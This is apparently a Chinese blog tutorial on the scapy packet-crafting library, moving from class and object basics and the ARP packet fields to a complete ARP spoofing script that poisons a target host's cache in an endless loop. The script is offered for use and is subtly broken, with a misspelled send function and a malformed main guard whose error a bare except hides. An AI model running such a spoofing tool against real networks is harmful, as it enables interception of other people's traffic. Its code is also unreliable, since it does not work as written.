scapy模塊的使用

將類實例化爲對象

  • 將類實例化之後的對象可採用“對象名.成員”的方式來調用類中的屬性和方法。
  • 可以用內置函數isinstance()來判斷一個對象是否爲某個類的實例。

概念總結

  • 面向對象是一種編程方式,此編程方式的實現是基於類和對象的使用。
  • 類是一種模板,模板封裝了多個函數供使用。
  • 對象是根據模板創建的實例,可調用被封裝在類中的函數。
  • 模塊中則集成了大量相關的類、函數、變量。

scapy的主要功能

可以根據自己的需要定義一些列報文,並通過scapy發送出去,最後在接收回應。

scapy的優勢一方面是可以自由構造報文,另一方是接收到的迴應只解碼而不解釋,他只會如實響應報文的內容,而不提供結論,如何來判斷和利用這些響應報文,由我們自己決定。

scapy主要基於二、三、四層工作。

scapy除了可以作爲python庫被調用之外,也可以作爲單獨的工具使用。

ls()可以列出scapy支持的所有協議,每個協議都是一個類。
lsc()可以列出scapy支持的所有方法。
用help()查看幫助信息。
用display()或show()方法查看屬性信息。

a=ARP() #將ARP類實例化爲對象

arp類的屬性
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has #請求(who-has,廣播,詢問誰有)
hwsrc= 00:0c:29:1d:65:95 #源MAC
psrc= 192.168.131.159 #源IP
hwdst= 00:00:00:00:00:00 #目的MAC
pdst= 0.0.0.0 #目的IP

scapy中的發包和收包

  • 只發不收
    send(),在第三層發包,不關心第二層的封裝,第二層採用默認值;
    sendp(),在第二層發包,需要手動指定第二層如何封裝。
  • 發包且接收回復
    sr()和sr1()都是在第三層發包,sr1表示只接收第一個回覆。
    srp()和srp1()都是在第二層發包,srp1表示只接收第一個回覆。
    默認情況下,如果目標主機不通,那麼將一直髮包,所以可以加上timeout參數。

2 scapy模塊的使用

ARP欺騙

在這裏插入圖片描述
在這裏插入圖片描述
構造併發送ARP欺騙數據包

  • 構造數據包,加上二層封裝。
    pkt = Ether(dst=‘ff:ff:ff:ff:ff:ff’)/ARP(pdst=‘192.168.131.160’)

3 編寫ARP欺騙腳本

#ARP欺騙腳本
import sys
import time
from scapy.all import *
def arp_spoof(ip1,ip2):
    try:
        pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip1,psrc=ip2)
        senddp(pkt)
        return
    except:
        return
def main():
    if len(sys.argv)!=3:
        print("使用方法:./arpspoof.py 目標主機IP 被欺騙主機IP")
        sys.exit()
    ip1=str(sys.argv[1]).strip()
    ip2=str(sys.argv[2]).strip()
    while True:
        arp_spoof(ip1,ip2)
        time.sleep(0.5)
if _name_=='_main_':
    main()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章